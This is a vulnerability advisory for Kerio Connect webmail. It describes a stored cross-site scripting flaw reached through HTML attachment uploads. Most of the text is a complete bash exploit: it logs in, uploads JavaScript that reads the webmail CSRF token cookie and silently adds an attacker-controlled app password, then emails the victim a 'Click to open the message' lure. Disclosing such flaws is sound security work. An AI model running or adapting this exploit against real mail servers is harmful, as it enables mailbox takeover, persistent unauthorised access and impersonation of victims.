SSD Advisory – Kerio Mailbox Takeover

Summary

By exploiting file upload functionality users are able to upload .html type of files, containing arbitrary JavaScript code, the file is then saved within server. An attacker would then compose and send an email containing URL to said malicious to the victim.

Credit

Jokūbas Arsoba

Affected Devices

Vendor Response

The vendor has been notified on the 17th of Jan 2023, but has provided no indication whether or not it is getting fixed or addressed.

Technical Analysis

A vulnerability in the way KerioConnect processes HTML attachments, allows an attacker to inject arbitrary JavaScript into the message the user is viewing, this in turn can allow an attacker to take full control over his mailbox.

Running JavaScript code can then be used to fully take-over victim mailbox, it is possible to read, send emails as well as change user settings. As a proof of concept for this write-up, malicious JavaScript will add arbitrary third party app password to user account, which could then be used to access and manage victim mailbox persistently.

Demo

Exploit

#!/bin/bash

# SETUP
url="http://192.168.206.1:8800"
username="aaaa"
password="734d51Mc6"
domain="0wn.lt"
victim="admin@$domain"

# LOGIN
echo "LOGGING IN..."
data="kerio_username=$username&kerio_password=$password"
response=$(curl -i -s -k -X POST \
    -H "Host: $url" \
    -H "Cache-Control: max-age=0" \
    -H "Upgrade-Insecure-Requests: 1" \
    -H "Origin: $url" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36" \
    -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
    -H "Referer: $url/webmail/login/" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --data-binary "$data" \
    -D - \
    "$url/webmail/login/dologin")

cookies=$(echo "$response" | grep "^Set-Cookie:" | awk '{print $2}' | sort -u)
csrftoken=$(echo "$cookies" | grep "TOKEN_CONNECT_WEBMAIL" | awk -F ';' '{print $1}' | awk -F '=' '{print $2}')
echo "COOKIES ARE... $cookies"

# UPLOAD THE FILE
echo "UPLOADING FILE..."
response2=$(curl -i -s -k -X $'POST' \
    -H $'Host: $url'  -H $'Accept: application/json-rpc' -H "X-Token: $csrftoken" -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Description: =?UTF-8?Q?kerio.html?=' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: text/html' -H "$url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b "$cookies" \
  --data-binary $'<script>\x0d\x0a  function displayResponse() {\x0d\x0a    \x0d\x0a    var cookieValue = null;\x0d\x0a\x0d\x0a    // Get the value of the TOKEN_CONNECT_WEBMAIL cookie\x0d\x0a    var cookieName = \"TOKEN_CONNECT_WEBMAIL=\";\x0d\x0a    var cookieArray = document.cookie.split(\';\');\x0d\x0a\x0d\x0a    for(var i = 0; i < cookieArray.length; i++) {\x0d\x0a      var cookie = cookieArray[i];\x0d\x0a      while (cookie.charAt(0) == \' \') {\x0d\x0a        cookie = cookie.substring(1);\x0d\x0a      }\x0d\x0a      if (cookie.indexOf(cookieName) == 0) {\x0d\x0a        cookieValue = cookie.substring(cookieName.length, cookie.length);\x0d\x0a      }\x0d\x0a    }\x0d\x0a    \x0d\x0a    // Perform CSRF using stolen Cookies\x0d\x0a    fetch(\'/webmail/api/jsonrpc/\', {\x0d\x0a      method: \'POST\',\x0d\x0a      headers: {\x0d\x0a        \'Content-Type\': \'text/plain\',\x0d\x0a        \'X-Token\': cookieValue,\x0d\x0a        \'Connection\': \'close\',\x0d\x0a      },\x0d\x0a      body: JSON.stringify({\x0d\x0a        \"jsonrpc\":\"2.0\",\x0d\x0a    \"id\":17,\x0d\x0a    \"method\":\"Session.setAppPasswords\",\x0d\x0a    \"params\":{\"appPasswords\":[{\"description\":\"ezpass\",\"password\":\"ezpassword\",\"creationDate\":0}]}\x0d\x0a  }),\x0d\x0a    })\x0d\x0a      .then(response => {\x0d\x0a        return response.text();\x0d\x0a      })\x0d\x0a      .then(responseText => {\x0d\x0a        alert(responseText);\x0d\x0a      })\x0d\x0a      .catch(error => {\x0d\x0a        alert(error);\x0d\x0a      });\x0d\x0a\x0d\x0a    return false;\x0d\x0a  }\x0d\x0a\x0d\x0a  window.onload = displayResponse;\x0d\x0a</script>\x0d\x0a' \
    "$url/webmail/api/jsonrpc/attachment-upload")

file_id=$(echo $response2 | awk -F'"id":' '{print $3}' | awk -F',' '{print $1}')
file_name=$(echo $response2 | awk -F'"name":' '{print $2}' | awk -F',' '{print $1}')
file_url="$url/webmail/api/download/tmp/$file_id/file_name"
file_url=$(echo "$file_url" | tr -d '"')

# SEND THE MESSAGE
echo "SENDING MESSAGE..."
curl -s -k -X $'POST' \
    -H $'Host: $url'  -H $'X-Requested-With: XMLHttpRequest' -H "X-Token: $csrftoken" -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: application/json' -H $'Accept: */*' -H "Origin: $url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: open' \
    -b "$cookies" \
  --data-binary "{\"jsonrpc\":\"2.0\",\"id\":21,\"method\":\"Mails.create\",\"params\":{\"mails\":[{\"send\":true,\"showExternal\":false,\"subject\":\"XSS Message\",\"notificationTo\":{},\"isMDNSent\":true,\"requestDSN\":false,\"from\":{\"address\":\"$username@0wn\",\"name\":\"aaa\"},\"sender\":{},\"encrypt\":false,\"sign\":false,\"priority\":\"Normal\",\"isAnswered\":false,\"isForwarded\":false,\"isJunk\":false,\"isFlagged\":false,\"isSeen\":true,\"isDraft\":true,\"isReadOnly\":false,\"attachments\":[],\"headers\":[],\"displayableParts\":[{\"contentType\":\"ctTextHtml\",\"content\":\"<html><head></head><body><a href=\\\""$file_url\\\"" title=\\\"Click to open the message\\\" target=\\\"_blank\\\" style=\\\"box-sizing: content-box; font-size: 48px;\\\">Click to open the message</a></body></html>\"}],\"bcc\":[],\"cc\":[],\"to\":[{\"name\":\"Administrator\",\"address\":\"admin@$domain\",\"contactId\":\"\"}],\"replyTo\":[]}]}}" \
    "$url/webmail/api/jsonrpc/" 

echo "DONE! Check victim inbox..."

?

Get in touch